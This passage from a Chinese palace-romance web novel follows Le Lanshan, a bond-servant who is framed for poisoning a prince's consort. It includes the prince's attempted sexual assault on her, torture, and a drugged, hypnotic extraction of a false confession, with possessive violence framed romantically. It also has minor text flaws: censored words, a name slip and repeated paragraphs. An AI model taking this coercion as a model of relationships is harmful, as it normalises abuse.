平王府的书房,气氛压抑得能拧出水来。
裴衍坐在书案前,指尖一下下叩着紫檀木的书案,发出单调而迫人的“笃笃”声。
他面前摊开着那份内廷发来的调令公文,旁边放着空白的“放还文书”和王府印鉴。
乐阑珊垂首站在案前,背脊挺直如竹。
“王爷,”她的声音平静无波,听不出任何情绪,“内廷催得急,还请王爷用印。”
裴衍没看她,目光落在公文上,半晌,才嗤笑一声:“阑珊,你就这么急着离开本王?”
“奴婢不敢。此乃朝廷公事,不敢耽搁。”
“朝廷公事?”裴衍终于抬起眼,那双曾经盛满她倒影的眸子里,如今只剩下深不见底的幽暗和翻涌的暴戾,“乐阑珊,你借着太后的势,得了陛下恩典,攀上了将作监的高枝,就以为能飞出本王的手掌心了?”
他缓缓站起身,一步步走下台阶,直到停在她面前,高大的身影将巨大的阴影压了下来。
“别忘了,你身上还烙着平王府的印记。你的生死,你的去留,依然是由本王说了算。”
乐阑珊抬起眼,毫无惧色地迎上他的目光:“王爷当日答应,奴婢办好太后寿宴,便算完成第一件事。如今圣旨已下,王爷是要抗旨吗?”
“抗旨?”裴衍猛地伸手,一把攥住她的手腕,力道之大,让她痛得闷哼一声,“本王是在教你规矩!教你认清,谁才是你的主子!你以为得了陛下和太后一点青眼,就能跟本王讨价还价?就能把过去三年,把本王对你的‘恩典’都忘得一干二净?”
他几乎是咬着牙,将她拖近自己,温热的呼吸喷在她冰凉的额头上,带着酒气和怒意:“阑珊,告诉本王,你这么急着去将作监,究竟是有什么好处?还是你以为自己找到了新的靠山‘?是瑞王?还是太后?嗯?”
乐阑珊挣扎着,试图甩开他的手:“去将作监是陛下和太后的恩典,也是对奴婢光影盆景的奖励。瑞王和祥嫔娘娘是帮奴婢办成寿宴的恩人。”
“那,就是宁王了!”裴衍从牙缝里面往外蹦着一字一句。
“王爷请自重!奴婢听不懂王爷在说什么!”
“听不懂?”裴衍眼底的戾气更盛,另一只手猛地捏住她的下巴,强迫她抬起头,“寿宴上,你看二皇兄那是什么眼神?他为你解过围,你就感激涕零了?
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乐阑珊,你从前眼里只有我,现在呢?是不是只要有个男人对你好一点,你就恨不得贴上去?”
积压多日的猜忌、怒火、还有那连他自己都不愿承认的恐慌,在这一刻轰然爆发。
他不能容忍她离开,不能容忍她的目光投向别处,更不能容忍她即将获得的、可能脱离他掌控的自由。
“王爷!”乐阑珊实在是太意外,更多的是心寒,“你简直不可理喻!放开我!”
“不可理喻?”裴衍怒极反笑,手上力道加重,几乎要将她的腕骨捏碎,“本王今天就让你知道知道,什么是真正的不可理喻!”
他猛地将她往后一推,乐阑珊踉跄着撞在冰冷的厅柱上,还未站稳,裴衍已如猎豹般欺身而上,将她死死禁锢在身体与厅柱之间。
他的唇带着狂暴的气息压下,直奔她毫无血色的唇瓣。
“裴衍!你想干什么!”乐阑珊惊恐地偏头躲开。
裴诚的吻落在她的脸颊,留下滚烫而**的触感。
她拼命捶打他的胸膛,踢蹬双腿,旧伤因此撕裂般疼痛,却抵不过心头那灭顶的绝望与愤怒。
为什么?每一次,在她以为看到一线曙光时,他总要亲手将她拖回更黑暗的深渊!
“你看本王敢不敢!”
裴衍轻而易举地制住她双手,扣在头顶,另一只手粗暴地去扯她披风的系带,“进了将作监?成了女官?乐阑珊,我告诉你,就算你将来封侯拜相,你也是本王的人!以前是,现在是,将来也是!你这辈子,都别想逃!”
披风滑落,素白的舞衣领口被扯开,露出伶仃的锁骨和其上淡去的旧痕。裴衍的目光触及那些伤痕,动作几不可察地一顿,但随即被更疯狂的占有欲淹没。他不能放她走,绝不能!
就在他的唇即将再次落下,乐阑珊**的泪水夺眶而出,几乎要放弃挣扎的瞬间——
“王、王爷……”
一声颤抖的、细若蚊蚋的女声,在厅门口响起。
第46章 莞花茎毒发
裴衍动作猛地僵住,霍然回头。
邓馨儿扶着门框,脸色惨白如纸,一双美眸睁得大大的,里面盛满了难以置信的惊骇、破碎的伤心,还有一丝迅速蔓延开来的冰冷恨意。
她匆忙而来,只披了件外裳,发髻松散,显然是听到了什么风声。
“馨儿?”裴衍蹙眉,下意识松开了对乐阑珊的钳制,语气带着被打断的不悦,“你怎么来了?”
乐阑珊趁机挣脱,狼狈地拉紧衣襟,退到一旁,急促地喘息着,身体因愤怒而微微发抖。
她看向邓馨儿,对方眼中那淬毒般的恨意让她心头发冷,但此刻,这恨意竟奇异地成了她暂时的“救星”。
邓馨儿的目光在裴衍略显凌乱的衣袍和乐阑珊狼狈的模样之间来回扫视,最后定格在乐阑珊颈侧那抹可疑的红痕上(实则是挣扎时摩擦所致)。
她身形晃了晃,像是承受不住巨大的打击,眼泪扑簌簌落下,声音哽咽破碎:“妾身……妾身听闻乐姐姐要入将作监,特来……特来送送……没想到……”
她哽咽着说不下去,捂住胸口,一副心痛到无法呼吸的模样。
裴衍脸上闪过一丝不易察觉的尴尬和烦躁,上前一步想去扶她:“馨儿,不是你想的那样……”
“王爷不必解释!”邓馨儿猛地后退一步,避开他的手,泪眼朦胧地看着他,眼神哀戚欲绝,“是妾身来的不是时候,打扰了王爷和乐姐姐……妾身这就走……”
说罢,她竟真的转身,踉踉跄跄地跑开了,秀清急忙追了上去。
“馨儿!”裴衍喊了一声,眉头紧锁。邓馨儿这一闹,他方才那股不管不顾的邪火倒是被浇熄了不少,取而代之的是更深的烦乱。
他看了一眼缩在厅柱旁、眼神冰冷如看陌生人般的乐阑珊,又想到跑开的邓馨儿,心头那股无名火越烧越旺,却无处发泄。
“滚!”他最终冲着乐阑珊低吼一声,指向门口,“想要文书?做梦!本王一日不点头,你就一日是平王府的罪奴!给本王滚回你的偏殿去!没有本王的命令,不许踏出偏殿半步!”
乐阑珊紧抿着唇,指甲深深掐进掌心,留下月牙形的血痕。
她没有争辩,甚至没有再看裴衍一眼,只是默默地捡起地上的披风,重新裹好,然后挺直脊背,一步步走出了前厅。
每一步,都踩在破碎的尊严和渺茫的希望上。
她知道,裴衍这是铁了心要困住她。将作监的职位,那近在咫尺的自由,仿佛成了镜花水月。
邓馨儿一路跑回寝殿,扑倒在榻上,失声痛哭。
这一次,眼泪里少了往日的算计,多了真真切切的绝望和刺骨的冰凉。
她看见了,清清楚楚地看见了裴衍对乐阑珊那近乎疯狂的占有欲。
那不是对待一个罪奴的态度,甚至不是对待一个普通姬妾的态度。
那是一个男人,对自己势在必得、绝不容失的所有物的偏执。
“王爷……你的心里,到底有没有过我?”她喃喃自语,心像被无数细针反复穿刺。
秀清在一旁急得不行,却不知该如何劝慰。
哭了许久,邓馨儿猛地坐起身,擦干眼泪,眼底的脆弱被一种近乎狠绝的冷静取代。“秀清,备车,我要回尚书府。”
“小姐,这个时候回府?王爷他……”秀清担忧。
“正是这个时候。”邓馨儿咬牙,“王爷已经被那**迷了心窍,再这样下去,别说正妃之位,只怕我这侧妃都要形同虚设!我必须找父亲商议。”
邓尚书府。
听完女儿声泪俱下的控诉,尤其是听到裴衍为了强留乐阑珊,不惜抗旨拖延出具文书,邓尚书的脸色阴沉得能滴出水来。
“糊涂!真是糊涂!”邓尚书在书房内来回踱步,“平王怎可如此意气用事!乐阑珊如今是太后和陛下亲口赞赏、下旨擢升的人,他这般强留,岂非公然打陛下和太后的脸?还落人口实!”
“父亲,现在不是说这个的时候!”邓馨
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儿急道,“王爷的心思全在那**身上,女儿……女儿怕是再也抓不住王爷的心了!长此以往,女儿在王府还有何立足之地?父亲您的谋划,岂不是也要落空?”
她越说越激动,想起这些时日的担惊受怕,想起裴衍的冷漠与乐阑珊的得意,想起自己可能永远无法孕育子嗣的恐惧(她仍不知避子汤早已被做手脚),一股急火猛地窜上心头。
“还有……还有女儿的子嗣!”她抓住邓尚书的手臂,指甲几乎掐进他的肉里,“父亲,王爷虽停了避子汤,可女儿这边迟迟没有动静。府医只说女儿体虚需调养,可调养了这些时日,月事反而越发不准,时常腹痛……父亲,女儿怕……怕是再也生不了孩子了!”
说到最后,她情绪彻底崩溃,声音尖利,眼前一阵阵发黑。
“馨儿!馨儿你怎么了?”邓尚书见她面色惨白,摇摇欲坠,急忙扶住。
邓馨儿张了张嘴,还想说什么,却觉得天旋地转,喉头一甜,竟直接晕厥过去。
“快!传府医!把我府里最好的大夫请来!”邓尚书大惊失色,连忙让人将邓馨儿扶到榻上。
看着昏厥中的女儿,邓尚书连连摇头:“馨儿呀,你还是这么目光短浅,只盯着你的王妃恩宠。你哪里知道,乐阑珊要入将作监,只怕护国公的案子有变。那才是我们邓家的末日呢。”
邓府的府医匆匆赶来,仔细为邓馨儿诊脉。
良久,府医面色凝重地收回手,走到邓尚书面前,压低声音道:“尚书大人,侧王妃她……并非寻常体虚。”
“是何病症?但说无妨!”邓尚书心头涌起不祥的预感。
府医迟疑了一下,道:“侧王妃脉象沉涩,冲任受损,似有……似有长期服用寒凉之物,损伤胞宫的迹象。且……且其中隐约有‘莞花茎’残留之毒的特性。此物少量可调味,但若长期微量摄入,最能令女子宫寒不孕。”
“莞花茎?”邓尚书瞳孔骤缩,“你确定?”
第47章 从天上又掉回到了地上
他几乎瞬间就认定了下毒之人。
乐阑珊精通园艺花草,识得莞花药性,又有动机——嫉妒馨儿得宠,阻碍馨儿生子以固位!
最重要的是,馨儿曾说过,秦嬷嬷曾看见乐阑珊在厨房外鬼鬼祟祟!
“秦嬷嬷!”邓尚书厉声喝道,“你之前说,看见乐阑珊在王府厨房外窥探,可是真的?”
一直陪在邓馨儿身边、此刻也跟来尚书府的秦嬷嬷,闻言立刻跪下,斩钉截铁道:“回尚书大人,千真万确!老奴亲眼所见,乐姑娘那日在厨房外徘徊良久,神色可疑。老奴当时就觉得不对劲,只因她身份特殊,未敢声张。如今想来,定是那时便在寻找机会下毒!”
人证(秦嬷嬷)、物证(府医诊断)、动机(乐阑珊嫉恨邓馨儿)俱全!
邓尚书怒火中烧,新仇旧恨一齐涌上心头。乐阑珊不仅迷惑平王,阻碍大计,如今竟还敢用如此阴毒手段害他女儿终身!
她这是在为自己替护国公翻案做全盘打算,里外都不放过。
不行,不能再让她蛊惑君心,左右平王的情感了。
只有她永远是罪奴,才可以安全地将护国公案永远压在海底。
“备轿!老夫要亲自去平王府,当面与平王对质!再去宫里递牌子,老夫要面圣!”
邓尚书气得浑身发抖,“毒害亲王侧妃,戕害皇嗣,此等蛇蝎心肠的贱奴,老夫定要让她付出代价!”
平王府偏殿。
乐阑珊被软禁于此,心中焦灼万分。
三日之期转瞬即逝,若拿不到文书,耽误了将作监的报到,便是抗旨不遵,之前的努力可能全部付诸东流,甚至引来更大的祸事。
她正思忖着是否要冒险联系裴诚或裴曦求助,殿门却被猛地撞开。
邓尚书面色铁青,在裴衍、周叔以及一众王府侍卫的陪同下,气势汹汹地闯了进来。
裴衍的脸色也极为难看,看着乐阑珊的眼神复杂无比,有愤怒,有失望,还有一丝难以置信。
“乐阑珊!”邓尚书不等裴衍开口,便厉声喝道,“你好歹毒的心肠!竟敢长期在馨儿的饮食中下‘莞花茎’之毒,害她宫寒不孕!你可知这是戕害皇嗣、十恶不赦之罪!”
乐阑珊如遭雷击,猛地站起身:“下毒?不孕?我没有!”
“还敢狡辩!”邓尚书指着秦嬷嬷,“秦嬷嬷亲眼见你在厨房外窥探!府医已确诊馨儿体内有长期莞花茎**之象!你精通草木药性,又有害人之心,除了你,还有谁?”
乐阑珊脑中一片混乱,瞬间想起了那日厨房所见。
是了,她是看到了有人往邓馨儿的汤里放东西,可那是王府的厨子!她当时怀疑,却因自身难保未曾深究,更因不想卷入邓馨儿的是非而选择沉默。
没想到,一时疏忽,竟成了刺向她自己的**!
“王爷!”她看向裴衍,急声道,“奴婢那日确实在厨房外,但奴婢是看到……”
“看到什么?”裴衍的声音冰冷刺骨,打断了她,“看到你下毒的机会?乐阑珊,本王知道你恨馨儿,可没想到你竟用如此下作狠毒的手段!三年杂役司,非但没让你悔改,反而让你越发阴毒了吗?”
“不是的!王爷,你听我解释!”乐阑珊心凉了半截,裴衍的眼神告诉她,他已经信了七八分。
“解释?人证物证俱全,你还有何可解释?”邓尚书怒道,“王爷,此等毒妇,断不能容!必须严惩,以正家法,以儆效尤!”
裴衍胸口剧烈起伏,看着乐阑珊苍白焦急的脸,心中天人交战。理智告诉他,乐阑珊或许真的做得出;可情感深处,又有一个微弱的声音在抗拒这个结论。但邓尚书步步紧逼,邓馨儿昏迷不醒,证据似乎确凿……
“先将乐阑珊押入府中地牢,严加看管!”裴衍最终咬牙下令,避开了乐阑珊绝望的目光,“此事,本王会详查。”
“王爷!还查什么?”邓尚书不依不饶,“事实已然清楚!老夫这就进宫面圣,请陛下圣裁!谋害皇嗣,罪同谋逆,岂是王府家法可以处置?”
事情,瞬间从王府内宅阴私,升级到了御前。
御书房。
昭帝听着邓尚书声泪俱下的控诉,看着裴衍晦暗不明的神色,以及大理寺初步呈报的“人证证词”与“府医诊断”,手指轻轻敲了一下额头。
乐阑珊,这个刚刚在寿宴上大放异彩、被他亲手擢升的女子,转眼就卷入了如此不堪的毒害案件。巧合?还是有人刻意为之?
邓尚书言辞激烈,要求严惩乐阑珊,以正国法家规。
裴衍沉默不语
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,态度暧昧。
其他几位皇子,乃至前朝后宫,不知多少双眼睛在盯着。
昭帝的目光望着远方。
乐阑珊是枚棋子,用得好,可制衡邓家,可试探平王,也可安抚太后对护国公旧案的那点念想。
若这棋子自身沾染了“剧毒”,变得烫手且充满争议……
平衡!
帝王之术,首重平衡!
价值!
帝王心中,只有价值!
半晌,昭帝缓缓开口,声音听不出喜怒:“乐氏涉嫌毒害平王侧妃,证据虽有,尚未经三司会审定谳。然其身为罪奴,心术不正,品行有亏,确不宜再入将作监,玷污宫廷清誉。”
他顿了顿,看向裴衍:“平王。”
“儿臣在。”
“乐阑珊本是你府中罪奴,此案又系你王府内务。朕将她之匠籍暂且悬挂,擢升之令一并暂时搁置。”
昭帝声音平淡,却带着不容置疑的威严,“将她发还平王府,由你全权处置。”
轻描淡写的一句话,如同最冰冷的判决,将乐阑珊从刚刚攀上的云端,狠狠踹回泥沼,并且亲手交给了她最想逃离的、此刻可能最恨她的男人手中。
裴衍身体几不可察地一震,猛地抬头看向昭帝。父皇这是将烫手山芋丢还给了他?将乐阑珊的生杀予夺之权,完全给了他?这是信任?还是更深的试探与惩罚?
“儿臣……领旨。”他听到自己干涩的声音。
邓尚书虽然不满未能当场将乐阑珊置于死地,但革去匠籍、发还平王府,且由裴衍处置,这个结果他无法反驳。
以平王此刻对乐阑珊的愤怒与失望,她的下场,恐怕比直接判死好不了多少。
乐阑珊得知消息时,已经被关进了平王府阴暗潮湿的地牢里。
革除匠籍,废弃擢升之令,发还平王府全权处置。
每一个字,都像淬了毒的冰锥,扎进她的心脏。
一夜之间,她从地上飞到了天上!
又过了一夜,她从天上重新摔回到了地上,而且摔得更狠!
她靠在冰冷的石壁上,突然低低地笑了起来,笑声在空荡的牢房里回荡,充满了无尽的嘲讽与悲凉。
命运,终究又一次扼住了她的喉咙。
而这一次,握着那根绳索的,是裴衍。
第48章 是**的
平王府地牢,终年不见天日,空气中弥漫着霉腐与血锈混杂的气息。
石壁上凝结的水珠缓慢滴落,在死寂中敲出单调而惊心的回响。
乐阑珊蜷缩在角落的干草堆上,单薄的囚衣无法抵御地底的阴寒,冻得她唇色青紫,浑身控制不住地颤抖。
但她的眼睛,在昏暗油灯映照下,却亮得惊人,像两块不肯熄灭的寒冰。
“毒,不是我下的。”
无论被提审几次,忍受着酷刑,她依旧只有这一句话,斩钉截铁。
望着审讯簿,裴衍眉头紧皱,脑袋里面一片混乱。
身经数百战阵,裴衍从来没有乱过阵脚,此时却被乐阑珊的案子搅得头昏脑涨。
邓尚书催逼甚急,大理寺也来问过几次话,所有证据——秦嬷嬷的“亲眼所见”、府医的“脉象诊断”、甚至邓馨儿院里丫鬟“回忆”起乐阑珊曾对侧妃饮食“格外关注”——都像一张越收越紧的网,将她牢牢缚在中心。
理智上,证据链似乎完整。
情感上,他胸腔里却堵着一团乱麻。
心烦意乱之际,裴衍换了一身墨色常服,去牢房看望乐阑珊。
他站在牢门外,隔着粗重的木栅看着她。
望着眼前这个瘦骨嶙峋、伤痕累累却始终挺直脊梁的女子,真的是那个会用阴私药物去害人子嗣的毒妇吗?
三年前那个连踩死一只蚂蚁都会难过半天的阑珊妹妹,真的被杂役司折磨成了恶**行?
他脸上没了白日里的暴怒,只剩下一种深沉的疲惫和挣扎。
“阑珊,”他在空旷的地牢里开口,声音有些空洞,“你可知,谋害皇嗣,是死罪。若你肯认罪,说出缘由,或许,本王可求父皇,从轻发落。”
“从轻发落?”乐阑珊忽然笑了,笑声干涩而嘲讽,“王爷是想让我认下这莫须有的罪名,然后感恩戴德地谢您不杀之恩,继续留在王府,终身为奴婢吗?”
裴衍被戳中心事,脸色阴沉得可怕。
“我没有下毒,就绝不会认罪。”乐阑珊打断他,沙哑的声音却藏不住的坚韧,“王爷若还有半分记得昔日的阑珊,就该知道,我乐阑珊要争,要报复,只会堂堂正正地来!下毒这种宵小伎俩,我不屑,更不会!护国公的人不会做上不得台面的事!”
她顿了顿,盯着裴衍的眼睛:“王爷为何不去查查,邓馨儿每日的滋补汤膳,经的是何人之手?为何不去问问,那秦嬷嬷除了‘看见’我,还看见过谁在厨房附近鬼祟?一味听信一面之词,便将罪名扣在我头上——王爷,这就是您所谓的公正和信任?”
裴衍喉结滚动,被她逼得一时语塞。
他不是没想过这些疑点,但邓尚书施压,邓馨儿昏迷不醒,王府内务一团乱麻,加上他心底那丝不愿深究的、对乐阑珊可能真的变狠毒了的恐惧,让他下意识回避了更复杂的探查。
更不想面对的,是他不愿乐阑珊脱离自己掌控的心思。
“本王自会查明。”他最终硬邦邦地道,“你若真是清白的,谁也冤枉不了你。”
“清白?”
乐阑珊眼底最后一丝火光也黯淡了,化为灰烬,“在王爷心里,在那些人心里,我可曾有过清白?‘罪奴’二字,就是所有罪名的源头。”
她不再看他,重新蜷缩回去,将脸埋入臂弯,与这冰冷的黑暗融为一体。
裴衍看着她拒人千里的背影,心头那股烦躁和刺痛再次翻涌。他猛地转身,大步离开地牢。
一踏出甬道口,夜风便像刀子般掠过裴衍的侧脸,带着将落未落的湿意。
外头两名巡夜侍卫正低声交谈,瞧见他黑沉着脸走来,立刻噤若寒蝉。
整座王府静得不正常,连风声都像被压住,只余阴影在墙角默默滋生。
天边闷雷翻滚,仿佛随时会坠落。
裴衍停足半瞬,胸口闷得透不过气,终于负气离去。
夜深了。
地牢入口处看守的侍卫似乎有些困倦,倚墙打起了盹。
一道黑影悄然浮现在甬道深处——
先在拐角处停住,凝神聆听。
不远处传来侍卫换班前压得极低的闲谈声,他等了足足一盏茶,直到脚步声完全散尽,才沿着最暗的阴影缓缓贴墙前行。
地牢是平王府最隐秘的地方
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,巡防极严,他每走一步都要停下来确认是否有暗哨。
一个错位的脚步,就足以让他暴露。
靠近关押乐阑珊的牢房时,甬道某处突然传来铁器轻撞的声响。
黑影整个人瞬间贴在石壁上,停住呼吸,直到半盏茶后确定只是老旧铁链在风里自行摆动,他才重新动作。
锁上的机关并没有如他预想那样轻易打开。
他试了三次,锁簧才被撬开一条缝。
他不耐烦,却又不敢发出太大动静,只能耐着性子将锁舌一点点拨开。
铁锁“咔嗒”一声轻响,黑影快速闪入牢房。
乐阑珊在浅眠中感到一阵异样的气流,猛然惊醒,但还未来得及看清来人,口鼻便被一块浸透了怪异甜香的手帕死死捂住。
她惊恐地挣扎,但虚弱的身体根本不是来人的对手。
甜腻气息无孔不入地钻入她的呼吸,迅速侵袭她的神智。
眼前模糊,耳边的声音扭曲。
蒙面人伏在她耳旁,用催眠般的低语不断重复:
“是你下的毒……
你恨邓馨儿……
你不想她有孩子……
你在厨房熬的汤里下了莞花茎的汁液……
记得吗……是你做的……”
手帕中的药物迷幻、麻痹并存;心理暗示一遍遍灌进她意识最疲惫的缝隙。
杂役司的污秽、邓馨儿的笑、裴衍的冷眼……记忆片段在脑海被扭曲、拼碎、重组。
药力与绝望压垮了她。
“我……我……”
她眼神涣散,冷汗淋漓,声音像从地狱深处被抽出,“我放了……我做的……”
含糊不清,却足够被利用。
蒙面人眼底闪过一丝冷意,迅速收起手帕,像来时一样潜入暗影。
只是这一次,他在重新锁门前停了半秒,确认远处巡夜的脚步声没有偏向此处,才彻底离开。
黎明微亮时,守卫送来馊饭,发现乐阑珊蜷在地上,神志不清、浑身滚烫,口中不断重复着破碎的词语:
“汤……放了……
我的错……
孩子……”
消息立刻被送了上去。
第49章 帝王的情从来最薄
裴衍和邓尚书赶到的时候,便听到了乐阑珊的喃喃自语:
“是……是我的错……我就是恨她邓馨儿,不能让她怀上衍哥哥的孩子……裴衍……我再也不想看见你……要你**。”
“阑珊,你说什么?”裴衍控制不住,大喊了一声。
乐阑珊回过头来,带着恨意死盯着裴衍:“是你,王……王爷,我要离开你……离开这里,我得不到,她也别想……”
说完,乐阑珊一下子昏倒在地。
裴衍怒不可遏,挥拳砸到了牢房铁门上,指关节都砸破,血顿时迸裂出来。
他怔在原地,像被人从脊背处狠狠劈了一刀。
那句“**”钝而狠地砸进胸腔,疼得他呼吸都乱了。
可越疼,他越觉得哪里不对。
昨夜那双冷静又倔强的眼睛,仍清晰得像烙在他眼皮上——一个能在酷刑中咬死破口、不肯向他屈服一句的阑珊,会突然吐出这种混乱而恶毒的话?
不像。
太不像。
他的脑子像被什么堵住了,乱、烦、窒息,可仍有一根极细的刺在心里往外顶——
她昨夜不是这样的。
是他自己不敢细想,不敢承认,才把这刺压得越来越深。
如今它彻底扎破皮肉,让他浑身冰凉,却又像被点着了火。
邓尚书冷笑了一声,鄙夷地望了一眼乐阑珊,说道:“给她画押。”
然后摔袖而去。
裴衍呆呆地站在地牢外,“认罪”像刀子一样割着他的心。
真的是她?昨晚她还在铿锵有力地反驳,一夜之间,怎么就……
难道,真的是绝望之下,神志崩溃,吐露了实情?
但若不是她,又是谁能在王府内悄无声息地下手?他努力说服自己接受‘她认了’这个事实,可心底却像有两股力在拉扯,一股逼他相信,一股逼他怀疑——让他几乎无法呼吸。
“王爷,此事不能再拖了!”
回到书房,邓尚书义正辞严地说,“谋害皇嗣,罪同谋逆!如今罪妇已招供,必须立刻上报陛下,按律严惩,以正国法,以安人心!否则,皇家威严何在?王府法度何在?”
邓尚书当即写下奏章,以“平王侧妃**,罪奴乐氏招供谋害皇嗣”为由,言辞激烈,要求昭帝严惩乐阑珊,明正典刑,最好处以极刑,以儆效尤。
奏章很快摆在了昭帝的案头。
几乎同时,消息也传到了太后居住的永安宫。
“招供了?”齐太后正在用早膳,闻言放下了银箸,保养得宜的眉头微微蹙起,“昨夜还好好的,怎么突然就神志不清,还认了罪?可请太医瞧过?”
苏嬷嬷低声道:“回太后,平王府只报了侧妃病情和罪奴招供之事,并未提及请太医为乐姑娘诊治。听永安宫在外打探的小太监说,乐姑娘像是……像是受了什么刺激,或是病糊涂了。”
太后沉默片刻,眼中闪过一丝了然与忧色。“刺激?病?”她轻轻哼了一声,“怕是有人不想让她清醒着说话吧。”
她站起身,走到窗边,望着宫墙外阴沉的天色,“乐丫头那性子,哀家虽接触不多,但从她祖母那里也知晓几分。倔强,骄傲,宁折不弯。她若真做了,当初就不会那般坚决地否认。这突然‘认罪’……蹊跷。”
太后轻轻闭了闭眼。
宫中几十年,她见过多少“罪证确凿”的冤魂?
见过多少人在审讯中,被药物、威逼、暗示扭曲了本心?
皇权之下,真相常常不是最重要的——“顺耳的真相”,才是被允许存在的。
若乐阑珊真被人算计,她此刻的“招供”,正踩在所有人最愿意相信、最方便利用的那条线上。
太后心头沉了沉。
她不怕罪恶,她只怕沉默——怕一个本该亮得刺眼的命根,被人悄无声息地掐灭。
像她当年失去的人一样。
那是她一生的痛,也是她今日必须介入的原因。
“太后圣明。”苏嬷嬷道,“只是,如今邓尚书奏章已上,言辞犀利,直指谋害皇嗣大罪。陛下那边……”
太后叹了口气,雍容华贵的面容上露出一丝无奈:“哀家知道。邓家势大,此番又占了‘理’字。皇帝有皇帝的考量,前朝之事,哀家身为太后,不便直接干预。尤其涉及子嗣、律法,哀家若强行插手,反落人口实,说后宫干政,对乐丫头更
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是不利。”
她转身,看向苏嬷嬷,眼神深邃:“当年哀家未能保全她全家,心中始终有愧。这丫头,寿宴上那般惊才绝艳,哀家着实不忍看她冤死。”
“太后的意思是……”
“皇帝看重平衡,不会立刻下旨处死。”太后缓缓道,“你派人,悄悄去给皇帝递个话,就说哀家老了,见不得太过血腥,想起寿宴上那丫头的舞,依稀有些她祖母年少时的影子……有些感慨。别的,不必多说。”
“另外,”太后沉吟,“想办法递个消息去平王府地牢,别让那丫头真的病**。再查查,昨夜地牢,有没有什么‘不干净’的东西进去过。”
“是。”
御书房中,龙涎香静静焚烧。
昭帝看着邓尚书言辞激烈的奏章,又想到太后方才让人传来的那几句看似随意却意味深长的话,手指在“谋害皇嗣,请旨处死”那行字上轻轻划过。
乐阑珊……认罪了?
他眼中掠过一丝极淡的疑虑,随即被深沉的思量覆盖。
邓家势大,平王府又牵涉其中,任何一个处理不当,都会在朝堂上掀起连锁震荡。
而太后的那句话,看似轻描淡写,却像一根羽毛落在天平上,轻得不能再轻,却准确落在他绝不可能忽视的位置。
昭帝在位多年,早已学会把所有情绪藏在铁律与权衡之后。
可当“铁律”与“人情”在眼前撕扯,他难得生出一丝疲惫。
他不是不知邓家意图,也不是看不出平王府的避重就轻——
问题在于,现在动谁,代价都太大。
只有让乐阑珊承受,才是最轻的代价。
护国公已刀,她无靠无援,是棋盘上最容易被按死的一枚。
他闭了闭眼。
帝王不是无情,但帝王的情从来最薄。
阖目听着邓尚书再次慷慨激昂地陈述乐阑珊“罪证确凿”,要求即刻明正典刑,以儆效尤。
邓尚书言辞凿凿,将“谋害皇嗣”与“动摇国本”联系在一起,句句诛心。
待他告一段落,昭帝才缓缓睁眼,目光平静地扫过御案上太后宫里新送来的一盆精心修剪过的秋菊,才淡淡地开口。
第50章 没入贱籍
“乐氏之罪,依律当严惩。然,太后念其寿宴有功,心慈,不欲见其过于酷烈。不若……折中处置。”
邓尚书眼神微闪:“陛下圣意是?”
“免其死罪。”昭帝不疾不徐,“革去一切封赏可能,削其原罪奴籍,改入——贱籍。”
贱籍。
那两个字如同最沉重的枷锁,一旦套上,世代为贱,永无翻身之日。
邓尚书心中飞快盘算。
处死乐阑珊固然痛快,但太后干预,皇帝明显有意保全其性命。
若强行要求处死,恐与太后乃至皇帝心生芥蒂。
这两个字如同最沉重的枷锁,一旦套上,世代为贱,永无翻身之日。不能读书,不能科举,不能与良民通婚,从事最低贱的营生,生死如同草芥。
更重要的是,贱籍之人,根本没有资格提请翻案,没有资格谈论“清白”。护国公府的冤屈,将随着她乐阑珊堕入贱籍,被彻底钉死在“罪有应得”的耻辱柱上。
邓尚书心中飞快盘算。处死乐阑珊固然痛快,但太后干预,皇帝明显有意保全其性命。若强行要求处死,恐与太后乃至皇帝心生芥蒂。
而让其入贱籍……虽未死,却比死更令人绝望。一个永世不得翻身的贱籍女子,再也不可能对馨儿构成任何威胁,更别提为护国公府翻案了。
这等于彻底断绝了乐阑珊和他乐家所有的未来和希望。
太后寿宴后,邓尚书最挂心的,是护国公案是否会被翻案。至于一个罪奴、弱女子的命,他并不稀罕。
“陛下圣明!”邓尚书几乎是立刻躬身,语气转为“由衷”的钦佩,“如此既全了太后仁德之心,又维护了国法纲纪之严。贱籍之罚,令其生受其苦,永世赎罪,实乃两全之策。”
他心中冷笑,乐阑珊,你就活着吧,活着感受比死更漫长的折磨与卑微!
昭帝看着邓尚书迅速转变的态度,眼底深处掠过一丝了然。他点了点头:“既如此,便拟旨吧。乐阑珊谋害平王侧妃,本应重处,念太后求情,寿宴有功,特赦死罪,削籍没入贱籍,具体服役之所和入籍日……”
他略一沉吟,“待定。”
“陛下,”邓尚书急道,“此等毒妇,留在京城恐生事端,亦恐太后见之伤怀。不若发配至边远苦寒之地,或充入最苦最贱的官奴营中,方显惩戒之意。”
昭帝瞥了他一眼,未置可否,只道:“朕知道了。北凉边境近来又有异动,军报繁杂,此事容后再议。邓卿先退下吧。”
将乐阑珊的最终处置,与北凉军务挂钩,暂时搁置。
这既是帝王心术的拖延,也是一种无声的警告——此事,朕自有考量,不必步步紧逼。
邓尚书虽有不甘,但皇帝已给出“贱籍”的底线,且未立刻决定发配去处,也算达到了主要目的。他识趣地行礼告退。
旨意虽未正式下达,但“乐阑珊免死,改入贱籍”的风声,却像长了翅膀一样,迅速传遍了宫廷内外。
天牢深处,乐阑珊的高烧在太医悄悄奉太后命送来的药物下,渐渐退去。神智清醒时,听到的便是这比**更残酷的判决。
贱籍……
她靠在冰冷的石墙上,没有哭,也没有闹,甚至连绝望的表情都显得寡淡。
只是那双曾经璀璨如星子、后来沉寂如死水的眼眸,此刻变得空空荡荡,仿佛所有的光、所有的火、所有的希望,都被这两个字吸得干干净净。
三年罪奴,她忍辱偷生,心底始终存着一簇为家族昭雪的火苗。
可贱籍……那是永世的沉沦,连“冤屈”二字都不再配提起。
她乐阑珊的名字,将彻底与“卑贱”、“恶毒”捆绑,写入最不堪的册籍。
原来,这就是他们为她选好的路。不死,却要她活着承受比死亡更甚的凌迟。
不知过了多久,牢门外传来熟悉的脚步声,是秋辞。
他如今可以光明正大地来看她,因为王爷命令他“看管”重犯。
秋辞提着食盒进来,默默摆好几样清淡却精致的饭食,与牢中馊臭的饮食截然不同。他看着她苍白如纸、眼神空洞的脸,胸口像被重锤
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狠狠砸中,闷痛难当。
“乐姑娘,吃点东西吧。”他的声音低沉沙哑。
乐阑珊缓缓看了一眼食篮,微微一笑:“秋副将,是来给我这个即将堕入贱籍的毒妇送行的吗?”
“你不是毒妇!”秋辞猛地打断她,声音因激动而有些发颤,“我知道不是你!乐姑娘,你……你绝不会做那种事!我相信你!”
